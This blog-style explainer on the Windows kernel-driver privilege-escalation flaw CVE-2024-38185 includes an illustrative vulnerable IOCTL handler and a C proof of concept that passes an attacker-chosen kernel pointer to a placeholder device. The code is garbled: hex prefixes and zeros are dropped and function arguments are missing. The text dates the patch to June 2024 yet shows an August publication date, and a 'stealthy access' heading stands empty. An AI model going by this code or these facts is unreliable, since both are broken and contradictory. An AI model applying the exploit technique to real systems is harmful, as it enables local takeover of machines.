CVE-2024-38185 - Exploiting the Windows Kernel-Mode Driver Elevation of Privilege Vulnerability

The cyber world is buzzing about a new Windows vulnerability: CVE-2024-38185. This bug could allow attackers to gain higher privileges on vulnerable Windows systems by exploiting issues in the Windows Kernel-Mode Driver. In this long-read post, we’ll demystify CVE-2024-38185, break down its exploitability, look at actual code snippets, and help you understand its real-world risk.

What is CVE-2024-38185?

CVE-2024-38185 is an Elevation of Privilege (EoP) vulnerability impacting Windows. This means a normal user or even a restricted account can trick the system into running code with elevated privileges—usually SYSTEM level. Microsoft rated this bug as Important, but in the context of chained attacks, it can be critical.

Impact: Local privilege escalation to SYSTEM

- CVSS Score: Check Microsoft MSRC for current Score

How Does the Vulnerability Work?

The bug lives inside the complex code of Windows kernel-mode drivers. The vulnerability specifically occurs when the kernel driver improperly validates user-supplied data (such as input buffers or pointer values) passed from user-space. This usually leads to issues like buffer overflows, user-mode to kernel-mode pointer dereference, or write-what-where conditions.

These bugs let a low-privilege user, through a proof-of-concept program, trigger a vulnerable IOCTL (Input Output Control code) in the driver, causing the kernel to overwrite or read arbitrary memory.

Let's see a simplified version of what might be happening under the hood (not the real code!)

// Inside a vulnerable kernel driver:
NTSTATUS VulnerableIoctl(
    PDEVICE_OBJECT DeviceObject, PIRP Irp
) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    ULONG controlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;

    if (controlCode == IOCTL_VULNERABLE) {
        // User supplies a pointer in the input buffer
        PUSER_DATA userInput = (PUSER_DATA)Irp->AssociatedIrp.SystemBuffer;
        // Bad: No proper validation!
        SomeKernelStruct *kernelObj = userInput->kernelPointer;
        kernelObj->SystemFlag = 1; // Privilege escalation!
    }
    return STATUS_SUCCESS;
}

*Here, kernelObj is a pointer from user-space, but the driver trusts it blindly, enabling attacks.*

Reproducing the Exploit Locally: Example Proof of Concept

Malicious users could write a small app to send a crafted IOCTL request to the device. Here’s a very simplified C code snippet that demonstrates sending a dangerous pointer to the device:

// This is only for educational purposes!
#include <windows.h>
#include <stdio.h>

#define IOCTL_VULNERABLE CTL_CODE(FILE_DEVICE_UNKNOWN, x900, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef struct _USER_DATA {
    void * kernelPointer;
} USER_DATA;

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\VulnerableDevice", GENERIC_READ|GENERIC_WRITE,
                                 , NULL, OPEN_EXISTING, , NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device: %u\n", GetLastError());
        return 1;
    }
    
    USER_DATA payload;
    payload.kernelPointer = (void*)xDEADBEEF; // Point to arbitrary kernel address!

    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_VULNERABLE, &payload, sizeof(payload),
                    NULL, , &bytesReturned, NULL);

    CloseHandle(hDevice);
    return ;
}

*Attackers replace xDEADBEEF with a valid kernel structure pointer. Usually, they map fake structures in userland and trick the kernel into using them.*

Maintain stealthy access

This becomes much worse when chained with code execution bugs or delivered via phishing.

Microsoft Guidance and Patch

Microsoft released a patch for this vulnerability as part of the June 2024 Patch Tuesday.
Action:

Apply the latest security updates from Windows Update immediately.

See Microsoft’s Security Guide:
MSRC: CVE-2024-38185 Details

References

- Microsoft MSRC: CVE-2024-38185
- Windows Kernel Exploitation Basics (blog)
- Common Kernel Driver Vulns & EoP (slide deck)

Conclusion

CVE-2024-38185 is a textbook example of why driver code must STRICTLY validate all user input. If you manage Windows environments, treat this patch as a top priority and teach your IT teams about the dangers of kernel bugs.

Stay safe, and stay updated!

*(This article is for educational and awareness purposes only. Do not attempt to exploit vulnerabilities in unauthorized environments!)*

Timeline

Published on: 08/13/2024 18:15:26 UTC
Last modified on: 10/16/2024 01:53:50 UTC